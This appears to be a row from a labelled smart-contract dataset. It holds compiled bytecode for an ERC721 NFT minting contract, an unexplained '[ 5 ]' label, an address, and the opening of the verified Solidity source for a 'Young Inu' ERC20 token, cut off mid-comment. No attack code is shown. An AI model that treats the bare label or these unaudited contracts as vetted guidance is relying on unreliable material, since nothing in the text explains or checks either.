00000000000000000008152600401610c8790613b61565b60405180910390fd5b610c9a83836120ad565b505050565b600c5481565b610cad6120a5565b73ffffffffffffffffffffffffffffffffffffffff16610ccb611482565b73ffffffffffffffffffffffffffffffffffffffff1614610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613c21565b60405180910390fd5b80601160006101000a81548160ff02191690831515021790555050565b6000610d4a6007612166565b905090565b60126020528060005260406000206000915090505481565b600e5481565b610d7e610d786120a5565b82612174565b610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490613d01565b60405180910390fd5b610dc8838383612252565b505050565b610dd56120a5565b73ffffffffffffffffffffffffffffffffffffffff16610df3611482565b73ffffffffffffffffffffffffffffffffffffffff1614610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090613c21565b60405180910390fd5b80601160026101000a81548160ff02191690831515021790555050565b610e6e6120a5565b73ffffffffffffffffffffffffffffffffffffffff16610e8c611482565b73ffffffffffffffffffffffffffffffffffffffff1614610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990613c21565b60405180910390fd5b600073d44727abe5ae89723b9e0b7d3aba031c41ed004e73ffffffffffffffffffffffffffffffffffffffff166064603147610f1e9190613ef9565b610f289190613ec8565b604051610f34906139a8565b60006040518083038185875af1925050503d8060008114610f71576040519150601f19603f3d011682016040523d82523d6000602084013e610f76565b606091505b5050905080610f8457600080fd5b60007389d27248fe1fc3f57fa148a43769ab429bde25f973ffffffffffffffffffffffffffffffffffffffff166064606147610fc09190613ef9565b610fca9190613ec8565b604051610fd6906139a8565b60006040518083038185875af1925050503d8060008114611013576040519150601f19603f3d011682016040523d82523d6000602084013e611018565b606091505b505090508061102657600080fd5b6000611030611482565b73ffffffffffffffffffffffffffffffffffffffff1647604051611053906139a8565b60006040518083038185875af1925050503d8060008114611090576040519150601f19603f3d011682016040523d82523d6000602084013e611095565b606091505b50509050806110a357600080fd5b505050565b6110c383838360405180602001604052806000815250611600565b505050565b6110d06120a5565b73ffffffffffffffffffffffffffffffffffffffff166110ee611482565b73ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90613c21565b60405180910390fd5b80600c8190555050565b601160019054906101000a900460ff1681565b6111696120a5565b73ffffffffffffffffffffffffffffffffffffffff16611187611482565b73ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490613c21565b60405180910390fd5b80600890805190602001906111f3929190612e83565b5050565b601160009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa90613ba1565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490613b81565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61137c6120a5565b73ffffffffffffffffffffffffffffffffffffffff1661139a611482565b73ffffffffffffffffffffffffffffffffffffffff16146113f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e790613c21565b60405180910390fd5b6113fa60006124ae565b565b6114046120a5565b73ffffffffffffffffffffffffffffffffffffffff16611422611482565b73ffffffffffffffffffffffffffffffffffffffff1614611478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146f90613c21565b60405180910390fd5b80600e8190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546114bb90614047565b80601f01602080910402602001604051908101604052809291908181526020018280546114e790614047565b80156115345780601f1061150957610100808354040283529160200191611534565b820191906000526020600020905b81548152906001019060200180831161151757829003601f168201915b5050505050905090565b601160029054906101000a900460ff1681565b61156361155c6120a5565b8383612574565b5050565b61156f6120a5565b73ffffffffffffffffffffffffffffffffffffffff1661158d611482565b73ffffffffffffffffffffffffffffffffffffffff16146115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613c21565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550565b61161161160b6120a5565b83612174565b611650576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164790613d01565b60405180910390fd5b61165c848484846126e1565b50505050565b601160009054906101000a900460ff16156116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990613c41565b60405180910390fd5b600082116116f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90613d21565b60405180910390fd5b600e5482111561173a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173190613bc1565b60405180910390fd5b600d54826117486007612166565b6117529190613e72565b1115611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90613cc1565b60405180910390fd5b61179b611482565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461197a576000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060011515601160029054906101000a900460ff16151514156118d8576118368261273d565b5060105483826118469190613e72565b1115611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187e90613ae1565b60405180910390fd5b600f5483826118969190613e72565b11156118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce90613ae1565b60405180910390fd5b5b60105483826118e79190613e72565b1115611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f90613ae1565b60405180910390fd5b82600c546119369190613ef9565b341015611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613ce1565b60405180910390fd5b505b6000600190505b828111611a0d5761199260076127ba565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906119e2906140aa565b91905055506119fa336119f56007612166565b6127d0565b8080611a05906140aa565b915050611981565b505050565b60105481565b600a8054611a2590614047565b80601f0160208091040260200160405190810160405280929190818152602001828054611a5190614047565b8015611a9e5780601f10611a7357610100808354040283529160200191611a9e565b820191906000526020600020905b815481529060010190602001808311611a8157829003601f168201915b505050505081565b600f5481565b6060611ab782612039565b611af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aed90613c81565b60405180910390fd5b60001515601160019054906101000a900460ff1615151415611ba457600b8054611b1f90614047565b80601f0160208091040260200160405190810160405280929190818152602001828054611b4b90614047565b8015611b985780601f10611b6d57610100808354040283529160200191611b98565b820191906000526020600020905b815481529060010190602001808311611b7b57829003601f168201915b50505050509050611c00565b6000611bae6127ee565b90506000815111611bce5760405180602001604052806000815250611bfc565b80611bd884612880565b600a604051602001611bec93929190613977565b6040516020818303038152906040525b9150505b919050565b611c0d6120a5565b73ffffffffffffffffffffffffffffffffffffffff16611c2b611482565b73ffffffffffffffffffffffffffffffffffffffff1614611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7890613c21565b60405180910390fd5b8060108190555050565b600d5481565b611c996120a5565b73ffffffffffffffffffffffffffffffffffffffff16611cb7611482565b73ffffffffffffffffffffffffffffffffffffffff1614611d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0490613c21565b60405180910390fd5b80600a9080519060200190611d23929190612e83565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611dc36120a5565b73ffffffffffffffffffffffffffffffffffffffff16611de1611482565b73ffffffffffffffffffffffffffffffffffffffff1614611e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2e90613c21565b60405180910390fd5b8060098190555050565b611e496120a5565b73ffffffffffffffffffffffffffffffffffffffff16611e67611482565b73ffffffffffffffffffffffffffffffffffffffff1614611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb490613c21565b60405180910390fd5b80600b9080519060200190611ed3929190612e83565b5050565b611edf6120a5565b73ffffffffffffffffffffffffffffffffffffffff16611efd611482565b73ffffffffffffffffffffffffffffffffffffffff1614611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a90613c21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba90613aa1565b60405180910390fd5b611fcc816124ae565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166121208361120a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b600061217f82612039565b6121be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b590613b41565b60405180910390fd5b60006121c98361120a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061223857508373ffffffffffffffffffffffffffffffffffffffff1661222084610a74565b73ffffffffffffffffffffffffffffffffffffffff16145b8061224957506122488185611d27565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166122728261120a565b73ffffffffffffffffffffffffffffffffffffffff16146122c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bf90613c61565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612338576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232f90613b01565b60405180910390fd5b6123438383836129e1565b61234e6000826120ad565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461239e9190613f53565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123f59190613e72565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125da90613b21565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516126d49190613a24565b60405180910390a3505050565b6126ec848484612252565b6126f8848484846129e6565b612737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272e90613a61565b60405180910390fd5b50505050565b600061277282600954336040516020016127579190613930565b60405160208183030381529060405280519060200120612b7d565b6127b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a890613a81565b60405180910390fd5b60019050919050565b6001816000016000828254019250508190555050565b6127ea828260405180602001604052806000815250612b94565b5050565b6060600880546127fd90614047565b80601f016020809104026020016040519081016040528092919081815260200182805461282990614047565b80156128765780601f1061284b57610100808354040283529160200191612876565b820191906000526020600020905b81548152906001019060200180831161285957829003601f168201915b5050505050905090565b606060008214156128c8576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506129dc565b600082905060005b600082146128fa5780806128e3906140aa565b915050600a826128f39190613ec8565b91506128d0565b60008167ffffffffffffffff8111156129165761291561420e565b5b6040519080825280601f01601f1916602001820160405280156129485781602001600182028036833780820191505090505b5090505b600085146129d5576001826129619190613f53565b9150600a856129709190614121565b603061297c9190613e72565b60f81b818381518110612992576129916141df565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856129ce9190613ec8565b945061294c565b8093505050505b919050565b505050565b6000612a078473ffffffffffffffffffffffffffffffffffffffff16612bef565b15612b70578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612a306120a5565b8786866040518563ffffffff1660e01b8152600401612a5294939291906139d8565b602060405180830381600087803b158015612a6c57600080fd5b505af1925050508015612a9d57506040513d601f19601f82011682018060405250810190612a9a919061336c565b60015b612b20573d8060008114612acd576040519150601f19603f3d011682016040523d82523d6000602084013e612ad2565b606091505b50600081511415612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f90613a61565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612b75565b600190505b949350505050565b600082612b8a8584612c02565b1490509392505050565b612b9e8383612cb5565b612bab60008484846129e6565b612bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be190613a61565b60405180910390fd5b505050565b600080823b905060008111915050919050565b60008082905060005b8451811015612caa576000858281518110612c2957612c286141df565b5b60200260200101519050808311612c6a578281604051602001612c4d92919061394b565b604051602081830303815290604052805190602001209250612c96565b8083604051602001612c7d92919061394b565b6040516020818303038152906040528051906020012092505b508080612ca2906140aa565b915050612c0b565b508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1c90613be1565b60405180910390fd5b612d2e81612039565b15612d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6590613ac1565b60405180910390fd5b612d7a600083836129e1565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612dca9190613e72565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612e8f90614047565b90600052602060002090601f016020900481019282612eb15760008555612ef8565b82601f10612eca57805160ff1916838001178555612ef8565b82800160010185558215612ef8579182015b82811115612ef7578251825591602001919060010190612edc565b5b509050612f059190612f09565b5090565b5b80821115612f22576000816000905550600101612f0a565b5090565b6000612f39612f3484613d81565b613d5c565b90508083825260208201905082856020860282011115612f5c57612f5b614242565b5b60005b85811015612f8c5781612f728882613072565b845260208401935060208301925050600181019050612f5f565b5050509392505050565b6000612fa9612fa484613dad565b613d5c565b905082815260208101848484011115612fc557612fc4614247565b5b612fd0848285614005565b509392505050565b6000612feb612fe684613dde565b613d5c565b90508281526020810184848401111561300757613006614247565b5b613012848285614005565b509392505050565b6000813590506130298161483a565b92915050565b600082601f8301126130445761304361423d565b5b8135613054848260208601612f26565b91505092915050565b60008135905061306c81614851565b92915050565b60008135905061308181614868565b92915050565b6000813590506130968161487f565b92915050565b6000815190506130ab8161487f565b92915050565b600082601f8301126130c6576130c561423d565b5b81356130d6848260208601612f96565b91505092915050565b600082601f8301126130f4576130f361423d565b5b8135613104848260208601612fd8565b91505092915050565b60008135905061311c81614896565b92915050565b60006020828403121561313857613137614251565b5b60006131468482850161301a565b91505092915050565b6000806040838503121561316657613165614251565b5b60006131748582860161301a565b92505060206131858582860161301a565b9150509250929050565b6000806000606084860312156131a8576131a7614251565b5b60006131b68682870161301a565b93505060206131c78682870161301a565b92505060406131d88682870161310d565b9150509250925092565b600080600080608085870312156131fc576131fb614251565b5b600061320a8782880161301a565b945050602061321b8782880161301a565b935050604061322c8782880161310d565b925050606085013567ffffffffffffffff81111561324d5761324c61424c565b5b613259878288016130b1565b91505092959194509250565b6000806040838503121561327c5761327b614251565b5b600061328a8582860161301a565b925050602061329b8582860161305d565b9150509250929050565b600080604083850312156132bc576132bb614251565b5b60006132ca8582860161301a565b92505060206132db8582860161310d565b9150509250929050565b6000602082840312156132fb576132fa614251565b5b60006133098482850161305d565b91505092915050565b60006020828403121561332857613327614251565b5b600061333684828501613072565b91505092915050565b60006020828403121561335557613354614251565b5b600061336384828501613087565b91505092915050565b60006020828403121561338257613381614251565b5b60006133908482850161309c565b91505092915050565b6000602082840312156133af576133ae614251565b5b600082013567ffffffffffffffff8111156133cd576133cc61424c565b5b6133d9848285016130df565b91505092915050565b6000602082840312156133f8576133f7614251565b5b60006134068482850161310d565b91505092915050565b6000806040838503121561342657613425614251565b5b60006134348582860161310d565b925050602083013567ffffffffffffffff8111156134555761345461424c565b5b6134618582860161302f565b9150509250929050565b61347481613f87565b82525050565b61348b61348682613f87565b6140f3565b82525050565b61349a81613f99565b82525050565b6134b16134ac82613fa5565b614105565b82525050565b60006134c282613e24565b6134cc8185613e3a565b93506134dc818560208601614014565b6134e581614256565b840191505092915050565b60006134fb82613e2f565b6135058185613e56565b9350613515818560208601614014565b61351e81614256565b840191505092915050565b600061353482613e2f565b61353e8185613e67565b935061354e818560208601614014565b80840191505092915050565b6000815461356781614047565b6135718186613e67565b9450600182166000811461358c576001811461359d576135d0565b60ff198316865281860193506135d0565b6135a685613e0f565b60005b838110156135c8578154818901526001820191506020810190506135a9565b838801955050505b50505092915050565b60006135e6603283613e56565b91506135f182614274565b604082019050919050565b6000613609602583613e56565b9150613614826142c3565b604082019050919050565b600061362c602683613e56565b915061363782614312565b604082019050919050565b600061364f601c83613e56565b915061365a82614361565b602082019050919050565b6000613672601c83613e56565b915061367d8261438a565b602082019050919050565b6000613695602483613e56565b91506136a0826143b3565b604082019050919050565b60006136b8601983613e56565b91506136c382614402565b602082019050919050565b60006136db602c83613e56565b91506136e68261442b565b604082019050919050565b60006136fe603883613e56565b91506137098261447a565b604082019050919050565b6000613721602a83613e56565b915061372c826144c9565b604082019050919050565b6000613744602983613e56565b915061374f82614518565b604082019050919050565b6000613767602483613e56565b915061377282614567565b604082019050919050565b600061378a602083613e56565b9150613795826145b6565b602082019050919050565b60006137ad602c83613e56565b91506137b8826145df565b604082019050919050565b60006137d0602083613e56565b91506137db8261462e565b602082019050919050565b60006137f3601683613e56565b91506137fe82614657565b602082019050919050565b6000613816602983613e56565b915061382182614680565b604082019050919050565b6000613839602f83613e56565b9150613844826146cf565b604082019050919050565b600061385c602183613e56565b91506138678261471e565b604082019050919050565b600061387f600083613e4b565b915061388a8261476d565b600082019050919050565b60006138a2601483613e56565b91506138ad82614770565b602082019050919050565b60006138c5601283613e56565b91506138d082614799565b602082019050919050565b60006138e8603183613e56565b91506138f3826147c2565b604082019050919050565b600061390b601b83613e56565b915061391682614811565b602082019050919050565b61392a81613ffb565b82525050565b600061393c828461347a565b60148201915081905092915050565b600061395782856134a0565b60208201915061396782846134a0565b6020820191508190509392505050565b60006139838286613529565b915061398f8285613529565b915061399b828461355a565b9150819050949350505050565b60006139b382613872565b9150819050919050565b60006020820190506139d2600083018461346b565b92915050565b60006080820190506139ed600083018761346b565b6139fa602083018661346b565b613a076040830185613921565b8181036060830152613a1981846134b7565b905095945050505050565b6000602082019050613a396000830184613491565b92915050565b60006020820190508181036000830152613a5981846134f0565b905092915050565b60006020820190508181036000830152613a7a816135d9565b9050919050565b60006020820190508181036000830152613a9a816135fc565b9050919050565b60006020820190508181036000830152613aba8161361f565b9050919050565b60006020820190508181036000830152613ada81613642565b9050919050565b60006020820190508181036000830152613afa81613665565b9050919050565b60006020820190508181036000830152613b1a81613688565b9050919050565b60006020820190508181036000830152613b3a816136ab565b9050919050565b60006020820190508181036000830152613b5a816136ce565b9050919050565b60006020820190508181036000830152613b7a816136f1565b9050919050565b60006020820190508181036000830152613b9a81613714565b9050919050565b60006020820190508181036000830152613bba81613737565b9050919050565b60006020820190508181036000830152613bda8161375a565b9050919050565b60006020820190508181036000830152613bfa8161377d565b9050919050565b60006020820190508181036000830152613c1a816137a0565b9050919050565b60006020820190508181036000830152613c3a816137c3565b9050919050565b60006020820190508181036000830152613c5a816137e6565b9050919050565b60006020820190508181036000830152613c7a81613809565b9050919050565b60006020820190508181036000830152613c9a8161382c565b9050919050565b60006020820190508181036000830152613cba8161384f565b9050919050565b60006020820190508181036000830152613cda81613895565b9050919050565b60006020820190508181036000830152613cfa816138b8565b9050919050565b60006020820190508181036000830152613d1a816138db565b9050919050565b60006020820190508181036000830152613d3a816138fe565b9050919050565b6000602082019050613d566000830184613921565b92915050565b6000613d66613d77565b9050613d728282614079565b919050565b6000604051905090565b600067ffffffffffffffff821115613d9c57613d9b61420e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613dc857613dc761420e565b5b613dd182614256565b9050602081019050919050565b600067ffffffffffffffff821115613df957613df861420e565b5b613e0282614256565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613e7d82613ffb565b9150613e8883613ffb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ebd57613ebc614152565b5b828201905092915050565b6000613ed382613ffb565b9150613ede83613ffb565b925082613eee57613eed614181565b5b828204905092915050565b6000613f0482613ffb565b9150613f0f83613ffb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f4857613f47614152565b5b828202905092915050565b6000613f5e82613ffb565b9150613f6983613ffb565b925082821015613f7c57613f7b614152565b5b828203905092915050565b6000613f9282613fdb565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614032578082015181840152602081019050614017565b83811115614041576000848401525b50505050565b6000600282049050600182168061405f57607f821691505b60208210811415614073576140726141b0565b5b50919050565b61408282614256565b810181811067ffffffffffffffff821117156140a1576140a061420e565b5b80604052505050565b60006140b582613ffb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140e8576140e7614152565b5b600182019050919050565b60006140fe8261410f565b9050919050565b6000819050919050565b600061411a82614267565b9050919050565b600061412c82613ffb565b915061413783613ffb565b92508261414757614146614181565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f742077686974656c697374656420666f7220507260008201527f6573616c65000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f6d6178204e465420706572206164647265737320657863656564656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6d6178206d696e7420616d6f756e74207065722073657373696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f74686520636f6e74726163742069732070617573656400000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4d617820737570706c7920657863656564656421000000000000000000000000600082015250565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f6e65656420746f206d696e74206174206c656173742031204e46540000000000600082015250565b61484381613f87565b811461484e57600080fd5b50565b61485a81613f99565b811461486557600080fd5b50565b61487181613fa5565b811461487c57600080fd5b50565b61488881613faf565b811461489357600080fd5b50565b61489f81613ffb565b81146148aa57600080fd5b5056fea26469706673582212200cb2e521f05d9c5957fc56f9789115d6e89fb793c64d566293fe759fa90514ae64736f6c63430008070033
[ 5 ]
0xf365bb9d8a7BaB9cF6E7a9a1Aa9b5321B9B00514
/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // Young Inu - The youngest Inu // t.me/younginutoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * 